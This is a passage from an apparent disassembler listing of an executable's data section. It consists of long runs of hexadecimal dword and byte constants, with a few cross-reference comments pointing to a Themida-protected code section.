333E4570h, 0B60070DCh, 922C3036h, 9A87907h, 0DB8E882Bh dd 6516D483h, 21CC2902h, 0C01DCA30h, 99DD3D88h, 96980A98h dd 2E7B06E8h, 0CEFA613Ch, 0DB346500h, 1EA51232h, 489302BFh dd 0A0F9D29Ah, 304AB8E8h, 12DA2B88h, 0A3A9322h, 542F8Ch dd 0B26D6A62h, 0CE01E6AAh, 824FF67Ch, 0C3C08F1Ah, 979C027Fh dd 0E33DF766h, 0D389E490h, 964EACA8h, 1665483Fh, 28054425h dd 0A48C19EDh, 91360020h, 53FC7697h, 0EC1E3B5Bh, 884AEDFEh dd 3306D4C5h, 758D0ADh, 8F9FF7C6h, 2E353080h, 0CC6089E6h dd 43778149h, 12190364h, 9F713D76h, 911F54F0h, 3E6CDC54h dd 0AFCB2405h, 0C4223D45h, 0BE64205Ch, 28011367h, 79ED7068h dd 6180CE89h, 0CB78970Eh, 45149477h, 22C09F08h, 50E0A6h dd 97922DF7h, 3AF268F1h, 6811244Ah, 9897C034h, 0E6B073F9h dd 6015B01Dh, 9FA04988h, 2E2E3AAFh, 4838D80Eh, 396233A6h dd 1797A9DBh, 0C3005062h, 18B05AAh, 34002448h, 0BA0AA24Ch dd 4C54B01Ch, 36A0843Ch, 6203E4EBh, 5153E7A9h, 0E026633Dh dd 0E900C58Ah, 6BB74149h, 0EF3393h, 0D5F04303h, 8B5D3834h dd 29E18930h, 7B0B2DCh, 49B6713Ah, 17031078h, 0D11E9058h dd 3540AA2Dh dd 8F08D40Ch, 9CF23AC5h, 0E9A83D18h, 501DEAAh, 8D02488Ch dd 208001C5h, 9496926Eh, 43481B2Ch, 0BB60C090h, 1BDE34Ch dd 3127C83Eh, 20B997A9h, 3645B7D0h, 0A4A2E1F8h, 5620A0C8h dd 67F09124h, 300490E0h, 9811CBE8h, 0E100392Fh, 0C9511A54h dd 0C7040AECh, 2F647008h, 1B98A4h, 72D1EB89h, 9E968174h dd 4E6D451Eh, 0C5F10840h, 1471E9AAh, 0C024BA6Ah, 93114621h dd 0CA6BCE03h, 9CD0F711h, 0B6037834h, 2DF64B66h, 913DA0BBh dd 55EF3C49h, 58941058h, 0A25D802h, 0CC4176BEh, 746E1041h dd 0F515008Ah, 0A801C079h, 9038B26Ah, 46C705ABh, 2C841060h dd 82A18C08h, 23B9B498h, 0FC9BE062h, 0F540607Bh, 54173096h dd 0D39011B1h, 827CE6F0h, 75529900h, 0CDDABE9Fh, 0AB650793h dd 0A2B44F01h, 6CC9EDA0h, 11D432DCh, 3D188CAEh, 687E81B4h dd 0C782A00h, 5D01921Eh, 4C10054h, 0E94A2983h, 91C4D3ABh dd 3F03F6A6h, 0ECFADFB8h, 3289DC61h, 91271E1Ch, 0C8005D2Ch dd 0E41481C5h, 3E830AB6h, 113C64E7h, 0DCC300AFh, 27E226CEh dd 3B27DBDh, 8565B30Eh, 0B0E03A01h, 0B49A3252h, 931F2B3Ch dd 18003BF3h, 7FBD23A4h, 14FBF2E6h, 0EC404DAFh, 92805988h dd 46EFF8E8h, 4CB62E84h, 88240B4Eh, 0BC3F34B0h, 898C30B9h dd 0ECC9C9h, 63C32594h, 4FB6FC64h, 9FD67C17h, 0C2B0840h dd 78CD2D95h, 225628D1h, 0C035E61Ch, 0AF3B3689h, 142CD564h dd 0E10C04F1h, 7E20F9A3h, 8EE30221h, 1C195E8h, 71D774E0h dd 458056E4h, 0E23E8837h, 7F16A093h, 1E43E030h, 0BF744Fh dd 56DB19C1h, 9C619904h, 0CE2EAE3Bh, 0F0B79063h, 0B88D01E5h dd 2712F1C8h, 5A1B8881h, 2EC4307Dh, 49991500h, 0EECC47ECh dd 403D4A34h, 0AEC20938h, 0C500B22Bh, 10ACE165h, 4940FE7h dd 1F6211C9h, 7FC0A2FAh, 0A14AF0Eh, 9A7B00E1h, 25B7F7C7h dd 90816CF5h, 72D42157h, 55DE00C8h, 1E90062Bh, 4EF228E8h dd 8EF8FCh, 0BA526CE5h, 0CC4B0223h, 98A3D336h, 28CF4240h dd 0A9DEC426h, 61B99602h, 545289h, 922A842Dh, 0B32C6216h dd 791D5590h, 5A01803Ch, 0A9B2C560h, 0E5C05C2Dh, 0CA11F4DDh dd 26085900h, 741C4A2Ch, 6C9000C8h, 8EECDFF1h, 7C986433h dd 0E448C2E7h, 722C4F02h, 3F113461h, 2CDD3E16h, 1B0084C4h dd 0E7E0BF91h, 0F8F1ED6Eh, 722D12D9h, 0B413FBh, 4B2A46CCh dd 0C85C5F44h, 50DC2830h, 0EF8EB499h, 16AA006Fh, 215ECAh dd 34749048h, 261DD41Ah, 0F0507B28h, 0AC9C6628h, 0D12EAF0Eh dd 0D5415888h, 0FE22008Bh, 0A4819B4Fh, 8CC72B7h, 3B9221E4h dd 82812283h, 1355D9C9h, 4FA02041h, 5193C43Dh, 0FBD041C8h dd 0C426043Fh, 2964668h, 4FF92286h, 0F5001C73h, 0A98C227Eh dd 0C0A73C6Ah, 0D0294049h, 0F904A5F3h, 0E9FA302Dh, 360A9480h dd 0A43D3085h, 0F19CC029h, 0C229C601h, 92216152h, 21BC0898h dd 0F100A4E6h, 1EABDD2Ah, 74230AD1h, 152B0A85h, 3824DA3Eh dd 0C48F9600h, 9108639Fh, 0A3E6BCA8h, 5490688h, 0C3357C2Ah dd 0B0AC0351h, 0B3F9672Eh, 0C0804432h, 0FB953918h, 0BA5BCC04h dd 6180C731h, 7DDF8B82h, 37C8009Ch, 6834F38Ch, 0D5008114h dd 89ABA08Ah, 644B60h, 0CD022273h, 5DA89E3Ah, 0A51FEC00h dd 7283BE37h, 151218F8h, 64ABF2F3h, 38223A00h, 0E0CC291Bh dd 2510310h, 0B5968DDh, 0F3CA99F0h, 81962838h, 7045D43Fh dd 2081D78Eh, 0C2F5F407h, 446ECC20h, 2EE98701h, 319E49DAh dd 46EE2A00h, 142940h, 0C3EA375Dh, 5D7CEEDh, 0D20191F6h dd 99A08242h, 0E9EC1F57h, 0A1500052h, 882A80E3h, 19C07A9Dh dd 9CFAAD4Ah, 2258FA11h, 520165E1h, 3A7532C8h, 51CC4E9Dh dd 29C1C003h, 2CE6164Bh, 2869B605h, 0C61D6381h, 12658806h dd 0F0370040h, 0A34F2A0Ah, 0E40072CEh, 80FB27E6h, 0FEF8857h dd 3C1B2E30h, 0DFF9E81h, 97189E81h, 0B3EA0362h, 4051B7A7h dd 0F860DFE0h, 67DE5503h, 0DCFDD6h, 0E553B888h, 6EF4FE1Ah dd 260410Ah, 99139069h, 219F3F1Ch, 50FBC3C0h, 0E2845A05h dd 0D11009Bh, 566040B4h, 8700F0DEh, 828A811Ah, 0BB4AE8h dd 76CF4977h, 0D3C16847h, 0FAF8EBECh, 183F4030h, 7C25E45Fh dd 4DAD07D5h, 0C03EB352h, 986782F7h, 0A84F7606h, 2021D3D0h dd 1B2EE2D2h, 951E2BD1h, 0F7F02446h, 8BFB0011h, 9E763971h dd 9C339492h, 2FA088Eh, 71A3DD21h, 0B3612FBAh, 1900C3E9h dd 38EEB37Dh, 0A1B64Eh, 0E0A75C6Fh, 0AC3F12C8h, 8BA02C63h dd 10794CD0h, 348C4200h, 7F3643CCh, 98DE2530h, 32042774h dd 0C330D4F7h, 0DFAA0B21h, 85F1F4h, 1F0AD27Ch, 8F4B93Fh dd 0CE666B12h, 698A1600h, 0E0381Dh, 30990972h, 82D55D4Ah dd 4FE61900h, 7AC28AFEh, 0EF53001Eh, 0AA216754h, 0A501D5F8h dd 8387D706h, 3DC0B4B5h, 0B3500051h, 5B8F2D47h, 0C403F555h dd 0B6E7DC35h, 0A27298BDh, 8D3A0053h, 0ACBF2AA7h, 0F007B28h dd 76523D01h, 2FC090h, 0A183628Eh, 1309A91Eh, 9B214D07h dd 6007A83Eh, 0E0DF1DD3h, 16423Dh, 0E614FCD7h, 346988BAh dd 60F11200h, 0F6C64A4Fh, 341B9868h, 2A10500Fh, 51F1C304h dd 0A7100026h, 5B45A82h, 9D004DC7h, 0A8D26110h, 71811F9h dd 64EB29F1h, 55409317h, 8812921h, 0A2BAF8FDh, 8857E4EAh dd 41889C85h, 0E9D188F7h, 299D8C8Ah, 92088F9h, 0D5A45D00h dd 3A9880F8h, 21EA0118h, 0F5D2CCB1h, 0FEFADCABh, 3991D00h dd 6B8310B3h, 779DF230h, 38370049h, 32A0F4B2h, 16005A9Ah dd 0DDD76201h, 927DE8h, 69D68C72h, 4D91FC67h, 9305C000h dd 4BB6FB62h, 2F1600FAh, 27692346h, 0D6073070h, 44482507h dd 0C013F920h, 0A85A00E5h, 274AEA8Fh, 0B4009A09h, 4E1DA226h dd 92DE62h, 0CA6C3DA0h, 2F43853Ch, 0B5159500h, 5016B237h dd 1C7900A2h, 6F92F2CCh, 9F0043DEh, 0DE14846h, 0AB1EE4h dd 5EB2DB13h, 0B347D3C3h, 0F66E34Ch, 0D5A7917Dh, 3A1800E0h dd 247B084Ah, 4E9F0054h, 1A041514h, 8A03E5DEh, 0E40E1981h dd 47EA90ABh, 0F563C33h, 4080751Fh, 0FD6FCB02h, 642448D4h dd 3E030810h, 0F038D05Eh, 754FA24Ch, 0E30A0524h, 0F7B61Fh dd 49B86BACh, 430199D9h, 3E93256Eh, 62DC4FC3h, 9B750044h dd 0A8A06805h, 571C986Dh, 0AF00D491h, 971AC59Ah, 2186371Dh dd 0ABF4D0B0h, 61001EF2h, 853883ACh, 980FD2B2h, 0DD3900E2h dd 0FC77A055h, 5004BEAh, 0BD0480BFh, 9BC6C2h, 0FF27B924h dd 0DB37BAF2h, 0EB7AFC00h, 0A382E0AFh, 5814007Eh, 2171F032h dd 98A0CE26h, 4A003D1Ch, 0AD6D1281h, 0C0654h, 104DD56h dd 0F3892BFh, 19FAE701h, 15EF3145h, 0EBD7DCh, 0CC35D27Ah dd 911FABF3h, 57E55Ch, 1B4D5216h, 31CDDD8h, 5640CF6Ah dd 0B0B021EBh, 0ADE65B2Dh, 8C2F8400h, 709E1096h, 0BBDA3890h dd 0F426882h, 0B5E0A057h, 3F53018Ah, 0B1DC80DCh, 2B2AD03h dd 0A25FFECFh, 0BE607D16h, 61F0CA71h, 18D79630h, 27FA6392h dd 887C46BDh, 6831A500h, 9086ABh, 0E4C1FB1h, 0CB9AA05Bh dd 0C14BE500h, 1254B05Fh, 0C5A328DCh, 0A6C73090h, 4F471B3Ch dd 901149h, 0B4D9E462h, 0ACD73Ch, 0D29B4ADFh, 848D055Dh dd 0F8CEC600h, 3755F628h, 0AFA0A01Dh, 4CA0113h, 0E5342572h dd 822180A9h, 7CB250DEh, 0BCA658B1h, 17D1D300h, 99BF02FEh dd 0D052502h, 40ECFC7Ah, 0A78884h, 76532B8Ch, 4AE1128Dh dd 0BB0055FCh, 0ABB01194h dd 9DE607Ah, 0CC9D6420h, 80C40C04h, 55C88B97h, 66DD5712h dd 82030413h, 0BF29DBh, 4E3930E8h, 0B1692675h, 80AE80Ch dd 0FC0A5Ah, 1B3C8682h, 692D0EEBh, 0F1EF458h, 207FDBB3h dd 7E03A8Eh, 846300A8h, 0AA8BA2E9h, 1C489166h, 6E180904h dd 3309EE3h, 89B5D961h, 0B3C015D7h, 0A8000F5Eh, 12ACD05Fh dd 248C5CBBh, 0B82C32h, 44290E48h, 0B21DFA7Dh, 0EEC0ED4Ch dd 5E84A18h, 9A1D00DDh, 4BE78E35h, 9B022028h, 58A13FF1h dd 0FE406012h, 5DE401A8h, 8CC21EA2h, 0B5EFF088h, 2DF6BC00h dd 0E84DFC2Ch, 6671004Eh, 878930B3h, 5E00838Fh, 0C97E8811h dd 2F792h, 0DD3A5913h, 85C85B2Ah, 0A2954100h, 0CCE783BAh dd 0D6630001h, 820BA674h, 3F0E559Ch, 400885DEh, 0AA9DD797h dd 7F830713h, 23E30E39h, 61E8B309h, 0C517FAE1h, 0AFB6D2h dd 0FCC4D405h, 36076FFEh, 308F4AC9h, 47A593E0h, 6DE90228h dd 5241B790h, 2D7AE280h, 5B03C279h, 0BD273F9Ch, 720883Dh dd 495601AEh, 822F97EDh, 0FF8DC4C5h, 0F1F439h, 6F610534h dd 8C8EE9h, 85C4E871h, 9300F95h, 0BAB7B907h, 1681C8DEh dd 5B3159D0h, 0F0465043h, 0B2668Fh, 4756DEF2h, 3649C365h dd 286F8803h, 0BAF6D2A9h, 8FA4C04Dh, 27850062h, 1B8EA235h dd 0BC489B3Eh, 588711F8h, 8F7C609h, 1DA32B80h, 231ED841h dd 0D3E63654h, 2DC9FC00h, 3BA034Eh, 70F46794h, 0D6F0587Dh dd 0D700EF84h, 2F928A5Eh, 1CE56530h, 0C02372CFh, 0B6AA8781h dd 0DE00EECCh, 4B49668Ch, 0A66956h, 0BA469803h, 0E19DFAABh dd 33E41B00h, 0D03D0DA8h, 0DF670BA2h, 0BB87E5E6h, 3641B0E8h dd 7E17F8FAh, 0E500C6B3h, 44408AB9h, 115F07E0h, 422C47h dd 0C55534FAh, 5A192000h, 0BFB1FD99h, 70090FEFh, 0BEEF7F6Ch dd 0A9DF9782h, 0E8C656C1h, 4400CA1Ch, 60BF6CA7h, 0F63B8Ah dd 5948B6B5h, 51AA9BF3h, 807DCB00h, 7E7B6B2Ch, 0D05C4924h dd 8783FB02h, 7200193Bh, 0C60A3h, 0A8541E77h, 5CC80AE6h dd 0E86B7600h, 7120EEA6h, 68E4027Bh, 0BF94223Dh, 24832C60h dd 0DC3F9009h, 4D8C0084h, 58DB976h, 0E1FFD3DEh, 0CE1080F9h dd 3F00641Fh, 6CA867B1h, 9833CCh, 1737C0E0h, 9E73751Ch dd 0E4D45E26h, 0A1B8600h, 3FA28711h, 25A6FBA7h, 7DF20024h dd 0D9A6BB98h, 16CDA903h, 382D3929h, 0B08172CEh, 0D728B799h dd 8990414Eh, 1F046203h, 0E30EB28Fh, 99AC091h, 6B10E8h dd 86E940D2h, 4FD5C7Bh, 0FD31CD2Ch, 37C7B800h, 0B514D7Ah dd 468593AFh, 43C91480h, 14F22C0Eh, 0E7102A01h, 703522F4h dd 719BCC0h, 41B3DDD5h, 237320CBh, 4A00A3C2h, 6681950Dh dd 0BA0B6Dh, 33D2525Fh, 0E27BCBB8h, 0CA98DB64h, 2480AA84h dd 0A76A75h, 0C3A4E544h, 0AA2FD88Ch, 3DCC0D50h, 7ADC703Eh dd 8510C403h, 0B021A9h, 0DBF70540h, 38E28E9h, 0A5E21200h dd 0B02A844Dh, 8E024C33h, 49198A01h, 24BEDBF8h, 610057FCh dd 73993C35h, 0A60201h, 0F1656C1Fh, 6A4A07A7h, 0FDAB1C3Ah dd 14AC5848h, 1844B73h, 0D8B87243h, 3B315156h, 80BED0h dd 0EBB6B332h, 638941E5h, 0D36D1907h, 0F350023Ch, 909C6B3Ah dd 2CC25862h, 31280274h, 0B883B1DFh, 0DCDABCC1h, 94305B61h dd 928410CDh, 0FCB201C7h, 4C237040h, 1B82890h, 17B97DDBh dd 0D121D79Ah, 685D30h, 785A8553h, 27761C09h, 48FFD830h dd 0FC8AC5C8h, 0BF97381h, 3E37241Bh, 1F188A02h, 91C4DCC0h dd 176E1488h, 35C4B75h, 744A5BACh, 10AEF2CBh, 2E580500h dd 761BE83Fh, 1198007Ch, 200B4903h, 4B749EF4h, 10912300h dd 0D5470DC1h, 3D3900ECh, 29A979E8h, 0C912FACBh, 740EC668h dd 0D10F6011h, 0B8312AA3h, 2C760083h, 86DFA58Ah, 2601B1F1h dd 0E3D40C0Fh, 8FCF2D9h, 0C99E13C7h, 4B1D61h, 0EDA369E2h dd 4E281BCh, 98BA190Bh, 1E546Ch, 0CE824D7Dh, 455066E2h dd 0A400A99Ch, 74728AADh, 46F14Ah, 0A796434Dh, 0B4FA5C5Fh dd 23543D00h, 8412E2ABh, 0EB0400A1h, 85E174ECh, 9B00E9D0h dd 93B2317Fh, 5CAC57h, 0E3D81682h, 50E2D52Ah, 0CE67BA00h dd 0F56318A7h, 149033h, 0E414FFBCh, 0D2B05412h, 51EFC303h dd 0B87BB7BEh, 0D5FA43h, 2BF6AED1h, 956FA260h, 8704250Ch dd 0DF1097h, 640ECFC8h, 5ED58B9Ch, 2058h, 2D76BC56h, 7D60143h dd 0B950E598h, 9EA4706Ah, 0D0082D5h, 1483C448h, 0E0E29DFh dd 63745E4h, 102A1ABCh, 0ABBCA160h, 0FF486A07h, 60A9D6D4h dd 0BC81CE8h, 2B1BB778h, 0EDC72480h, 45F253E7h, 0E06C2C64h dd 41663C80h, 0A2CF24BDh, 99D88044h, 0A684BB1Fh, 0A7C02B00h dd 273B8FF6h, 9A300FE5h, 0EBC3CCEh, 0B8209DFCh, 0D4D3C447h dd 12798BF1h, 8164935Dh, 33C8415Eh, 47EC006Fh, 0EFDDC83Bh dd 0CC07DA1Eh, 0F83FC1A2h, 0E4B05E90h, 8C8F501Dh, 1831FE40h dd 107AF587h, 741834EDh, 0EEC8446Bh, 0D8DF0039h, 83294F66h dd 0E638373Ch, 6D1D8767h, 7B30F0EDh, 0EFB0A7F5h, 966CC041h dd 4F8770h, 0F195A514h, 0F9EC329Fh, 39B31D05h, 5FC3BC70h dd 7B0B82Ch, 835503FCh, 0B4282B9Dh, 205E7B81h, 2C0E8F66h dd 0C0AD03A3h, 0B9CA5CA2h, 0AF0D0037h, 27700608h, 40003230h dd 4FF2CE95h, 3E03F755h, 1D8454F0h, 0D7DB3F73h, 0C9D77000h dd 0E700C76Fh, 0B13B13E5h, 94378CEh, 0A85D77C4h, 80852304h dd 0F6685F82h, 56B74Ch, 0B1021569h, 0F21C0F5Eh, 0D3D80205h dd 0DA9E910Eh, 0F0A0A463h, 71EE847h, 0D4A4D61Dh, 89C20800h dd 7C00CA4h, 0E73C3D6Dh, 0D1C76066h, 4500E9D3h, 5351A780h dd 475FBCh, 754195DFh, 0FDD69AC0h, 0DE623C00h, 0E99C1465h dd 14D548CDh, 3E76D700h, 0F2A44B69h, 311E6413h, 46B628C2h dd 9E9F0064h, 0A7852682h, 90C0DB03h, 0F0CB245Fh, 6ACC00EBh dd 42B691FCh, 0BE002855h, 567C2C7Bh, 0EFF6761h, 3159C96Eh dd 0DB8D71C1h, 4E3181D6h, 2A0656BFh, 0D6C60FEh, 0F29F00FFh dd 3B1B0C0Eh, 430035A1h, 848D1208h, 0D6816F03h, 0B2AC0128h dd 301CED42h, 0E30F0BD5h, 207B3A0Dh, 0DB2BE79Ch, 358D0E9Ah dd 29A0CBB2h, 0F25749ACh, 0E998DD00h, 6B9137A3h, 8C2503A8h dd 5A4BCEB3h, 5243B780h, 2D4C6900h, 86CB078Fh, 0DD4F6Fh dd 2F80F3D8h, 5000D9B1h, 0E03D8D13h, 668209h, 4F8EFD2Dh dd 33473C0Fh, 0E6008190h, 8788632Eh, 7365360Dh, 5FAC00A8h dd 0D77319A5h, 282C95BEh, 0C05A87Ch, 0E40086B9h, 9481E7CDh dd 79560024h, 853FE9C5h, 5500A34h, 0D91FE1FFh, 6C5E589Ah dd 714B6700h, 98442D4h, 0E9063D80h, 0E22DF860h, 0AE7E9303h dd 0A741D507h, 6204BC80h, 12B900A2h, 0D6460B97h, 20494D1h dd 1CA99FA8h, 0DE52A787h, 847C276h, 703EE888h, 2E19E700h dd 400B9CAEh, 0C665004Dh, 44EF2DBFh, 0FD1E0FB4h, 1640FBABh dd 8EECBCBEh, 2288A037h, 1DB8060Eh, 0D09F0577h, 236AAF00h dd 874CE732h, 3A8B0061h, 6BA42883h, 0F702BDB0h, 213CD298h dd 49EC04Eh, 9A0500C6h, 0BA22474Ah, 7B00B436h, 0DC1577F3h dd 6C668Eh, 0F6598DA7h, 0A8ACC6D0h, 0A100B0FEh, 983446C3h dd 6EC2F0h, 8FAA645Eh, 5CCEF99Bh, 0A49C2E01h, 7F305BC5h dd 947C5480h, 5F2FC49Eh, 0DDB0C200h, 9099D181h, 4F220140h dd 7BB6E484h, 0C69AE478h, 0A848E500h, 0FCEEDAF7h, 3EC900DDh dd 0C20EDBCAh, 98606B46h, 77072960h db 0C1h byte_530055 db 0E9h, 80h, 70h ; DATA XREF: ___:off_4385ACo ; ___:off_4385C4o dd 0D3F538Eh, 0E4E14D90h, 9B7CD849h, 0F81D2E1Eh, 11E7BD0Ch dd 0F6F4F045h, 66891D3Ch, 43569E93h, 501B4DC0h, 400751A6h dd 0A0FB9855h, 0A19015C0h, 23391D2Dh, 0F4E133C8h, 201470B1h dd 9802F908h, 0E4FB0C4Dh, 97508330h, 0D0DA490h, 80F9C160h dd 0E6FB06A0h, 0CF8F57ACh, 2C542321h, 70C9A200h, 985A5479h dd 0B67ADF01h, 84CF1D66h, 572EB080h, 0FF78E5C4h, 4B4CBD12h dd 49818000h, 7FF46419h, 0B72700A9h, 683E90C0h, 100CDB01h dd 998E91BBh, 0E277F4CFh, 0F7D30E19h, 9403BE5Fh, 213893ABh dd 47B98B1Bh, 0CB80556Fh, 69451F8Bh, 209B5630h, 0E52332h dd 3390E43Ah, 30775E0Fh, 8EA87A07h, 85D0B328h, 391B5204h dd 0CC80494Dh, 6AACD944h, 4B0A422Eh, 0B4AE1AE3h, 0C6744C80h dd 0F8EA3Ah, 989365F2h, 0A80251Ch, 948B0306h, 2A99CBB1h dd 79888B3h, 26955922h, 46F65089h, 0D4002511h, 7998FB76h dd 369B2C3Ch, 513995B0h, 9F280C3Dh, 0F5BC5740h, 0FD8581C0h dd 1BC2DEEh, 0D81B536Eh, 0ECFE48B8h, 0AD005D08h, 0C6036428h dd 18CC376Bh, 40ACFB7Dh, 99007A23h, 9AA94285h, 2AC4B5h dd 0FC6E7121h, 54C887CAh, 0AB92881Fh, 1A91EB80h, 0F90E8Eh dd 36684844h, 3EAD82E6h, 929808DFh, 216D20h, 75658644h dd 44653D7h, 0EB00D4F4h, 0AB54E2CAh, 7C305FECh, 0F15A3A45h dd 10A09283h, 96A09FDDh, 0EB28B46Dh, 2E033876h, 53F1918h dd 0F21100FEh, 0E852C2BDh, 0E91931BEh, 0CC08C510h, 953F2180h dd 19A4EFC2h, 83E1F5E4h, 0FA2CE578h, 0E4907C55h, 91CD41D7h dd 338091E0h, 0E667EE44h, 2B18448Ch, 0A644FB00h, 587EC14Ch dd 0E9CD0C25h, 8C41ECD6h, 8723FCE7h, 8B689262h, 526700FEh dd 0F600610Ch, 0A694F778h, 0A7F9C9h, 0E22E306Dh, 4DF376A4h dd 0B8A5BA01h, 0F3B085Dh, 6D2CD4h, 4C458D70h, 30C5DD64h dd 0FFDBCD12h, 0A1468C00h, 1C6E721Ah, 32A47D9h, 64C387E3h dd 56EEACF8h, 70CF9C0Fh, 44C740F9h, 6A018Fh, 230ED022h dd 35A228D9h, 0C3003978h, 1EE870F2h, 0E0B2687h, 0CF370D97h dd 73DB4E81h, 0CA8260E4h, 9F0728DFh, 0E3C7044Ch, 5CAD81D0h dd 0A6AC3C56h, 980EB600h, 0F8D44E50h, 730CE2EAh, 60E4905Eh dd 2FAD3D79h, 60759100h, 0C8DC9758h, 0F5959B09h, 7E6800E8h dd 3E34BCB3h, 480CCDA8h, 7F48B9EAh, 0C02761F9h, 0E7000624h dd 32B7736Bh, 0FCC937Dh, 29741AA9h, 61E8BC96h, 0BF9EE150h dd 0F831D98Ch, 6703F908h, 0DE869372h, 73A2D030h, 31271BE3h dd 85F021FCh, 2F188451h, 5C6A1895h, 29E158FBh, 6E74F000h dd 76C289D7h, 96FC3818h, 657CF1C0h, 0C07E1977h, 0B1C432C2h dd 7115070Fh, 7812C1B2h, 0DBEC0DE8h, 86EA00C8h, 0F4E1F084h dd 9419CD0Ch, 3410BE33h, 5583045Fh, 1000CDD8h, 941706B8h dd 99E915h, 6BE0DA1Bh, 9960DA2h, 2CAC5503h, 0A329BEDEh dd 4D291051h, 6C00751Fh, 6D11424Eh, 269D33h, 0EECF033Ah dd 9E25198Eh, 523E530Eh, 0CDF1A0C1h, 169535DAh, 1FC3F73Fh dd 3D4D0041h, 11A90C6h, 0F065D100h, 5C5E8557h, 13460073h dd 0EDD045AFh, 36013122h, 58BD80EBh, 32C471CCh, 4D610048h dd 9430963Fh, 0ED00E060h, 405298AAh, 9A4BEE2h, 0B28470A3h dd 0B78CA700h, 290F2DACh, 0E3C99A9Eh, 985ECF6Eh, 0B8DA7Fh dd 0F18A988Ch, 7BAB1B05h, 0C1707A01h, 88BEC803h, 282F22DCh dd 0A08294h, 0E74D35CDh, 25103BC5h, 6896D030h, 0E09FE6Dh dd 0E0A15F9Ch, 0BAD76083h, 8656308Fh, 0A300A787h, 0EAEDBEE6h dd 0D2FB85h, 9E68CCB1h, 0AEDCC502h, 806E5B3Eh, 0E96D7FC9h dd 4FD16Ah, 1FB57B53h, 0DAA175Ch, 0B8F38F05h, 97C3A35Bh dd 7E30B040h, 21983922h, 7B7D71Fh, 81FA722Eh, 0DC966D23h dd 90EAAC8h, 41389DD9h, 0F0F3C18Ch, 7FCC0820h, 24AE007Eh dd 5792533Ah, 64001D0Dh, 0FAAC1AC7h, 0B7E51Eh, 5414B49Eh dd 0E1A99361h, 97193307h, 0E1CE9DA7h, 0B0A01AB8h, 2F1DF0h dd 7A8DF3C6h, 0FD9A8EF0h, 2901CCE6h, 66E80954h, 0FAD8AFA5h dd 8D631EC4h, 417A1C39h, 0E208A0F6h, 9D716025h, 8EEC6500h dd 9490860Fh, 0E4F11DDAh, 47434F81h, 0CB2D6FE0h, 4C70F7B9h dd 4269B31Eh, 66069800h, 0A9533Dh, 0A2E517A3h, 3FB5FB59h dd 3CAD7200h, 7912AE02h, 0E2332463h, 0C0041E80h, 561CFFAAh dd 3F3A4FC3h, 80E0B8ACh, 87A73B77h db 4Bh, 67h dw 1FB3h ; DATA XREF: Themida_:00557C8Eo ; Themida_:loc_55B54Co dd 0C4860Ch, 0F090AFF4h, 163E0679h, 68B700B4h, 918D4247h dd 0D1781A32h, 7FC07821h, 75E413C1h, 0EB147C74h, 90FF7Eh dd 12722A78h, 103CF8Dh, 0A1BEA8F8h, 0F0FF3809h, 2800940Fh dd 0B9C5DBCCh, 0B05DD210h, 97D417AFh, 84D50E06h, 8ABCD6A0h dd 9890AC85h, 0E6F7A00h, 81E28E4Bh, 1BDD09F6h, 5E80C455h dd 34D6D191h, 0A3E826h, 305EDF80h, 98BF43DEh, 62F00E0h dd 1CB73267h, 93070508h, 0E779CDCFh, 98B39C80h, 90AD000Ah dd 19EDA096h, 0B1078E42h, 25375E84h, 4DFD3020h, 0E0D600BDh dd 92E154A8h, 0AB132288h, 3C40EF95h, 900ECDFCh, 0C07D48B0h dd 0CAA24h, 0DDB9C880h, 120956FAh, 0ADC4D7h, 0F194CBA4h dd 0CF477297h, 0CD80BF68h, 9AC35089h, 0E07AF618h, 201D159h dd 0D9AAAEE3h, 1B61878Eh, 60D520B2h, 0E2D03400h, 25E77029h dd 8B081F77h, 0F00943EAh, 13F84901h, 6B00ED10h, 0C0B7DE9Ah dd 741203h, 5C2B8433h, 0B98F78AFh, 49D46B00h, 0AD139A81h dd 0DFA707EAh, 537256DAh, 3E7FB065h, 0CA6A4413h, 0D2DC1504h dd 61FBB181h, 59C5C0h, 54D43260h, 0A041E463h, 51C02A00h dd 0E5AE080Dh, 8BD6248Eh, 5B1C8348h, 0AFD886B2h, 0F801182Bh dd 88A21604h, 1FE9634Fh, 0E7C2FD8h, 0A52C5FD5h, 0B21801BCh dd 80665D32h, 0D0308818h, 2479E559h, 28CE10FCh, 6EA50048h dd 0CFB3F78Ah, 0B9014F2Fh, 486DF3BCh, 34F45356h, 0D3A8000Ah dd 0E4CE4C04h, 0B400E71Bh, 63D5E2A9h, 238A3Ah, 3EFCAE5Fh dd 0D63D3572h, 2B0E4C7Eh, 0C0F63885h, 0CC6105E1h, 9E2F006Dh dd 401AC9ACh, 1800C6FDh, 511F3BAh, 0F5C8275h, 20D334CBh dd 0BEA7E14Fh, 235B20DFh, 530039C5h, 0FB91269Ah, 2B1C0Fh dd 4056BA0Bh, 28B90622h, 3700AF74h, 7F9EEF44h, 0C69C9Fh dd 34969DDDh, 0C70EFE45h, 0F651A400h, 0BE8C62BAh, 0D6FC00B4h dd 6F36FBB3h, 0AF0FA005h, 802C2F52h, 1C12A463h, 0F27600E5h dd 59BC89DBh, 2E01FA6Fh, 0A58C92D1h, 69EC42EFh, 869D002Bh dd 0FAC7D3B2h, 3A73C58Dh, 19E78800h, 0A765B030h, 0FF6B0C37h dd 0AE19841Ah, 0F7F59100h, 211150CAh, 0BE200054h, 1295D0C0h dd 90309926h, 8587CAB8h, 58FA00A1h, 958E8291h, 0BD00B06Dh dd 82822DEh, 7B3A9680h, 0D0DF0034h, 0E672B311h, 0F800CB4Ah dd 42D55483h, 0B68643h, 7F19D2C4h, 15B2FD48h, 0B71F701Ch dd 92279583h, 77C6B079h, 0F4280014h, 0FFEB9E0h, 0F5EC3B63h dd 9DFF6400h, 936F65Fh, 0DB023E18h, 0FAE60076h, 4F727E3Eh dd 9A0026DEh, 63179BB5h, 1391951h, 0D9E60B03h, 0CC799EC0h dd 0ECA0A15Ch, 951FC384h, 54C08081h, 0A09B1E33h, 47790119h dd 4A4F3B0Fh, 2DF8802Ch, 0FFD391B6h, 56320054h, 0D0712162h dd 3C00C784h, 0E1921529h, 7978B3CAh, 99D4A0FDh, 605B00F3h dd 1487A2B6h, 23703F12h, 4125AE00h, 8BDAC7A5h, 0FA6600B0h dd 7C9BF136h, 220C6885h, 7886014Bh, 0A6400780h, 0E1112B7Bh dd 20B6568Eh, 6F5C4896h, 0FFAD0C7Bh, 486A0A4h, 0DB01B420h dd 0E09C8375h, 990087Eh, 0DD2DF91Bh, 0A6AAC138h, 0D50030BCh dd 0D8D9EA6Dh, 8076CBDh, 0D44D5C4Ah, 231FA210h, 19507B5h dd 434E22E2h, 841F2A4Bh, 690CA9ADh, 4319E1h, 0C2546DD6h dd 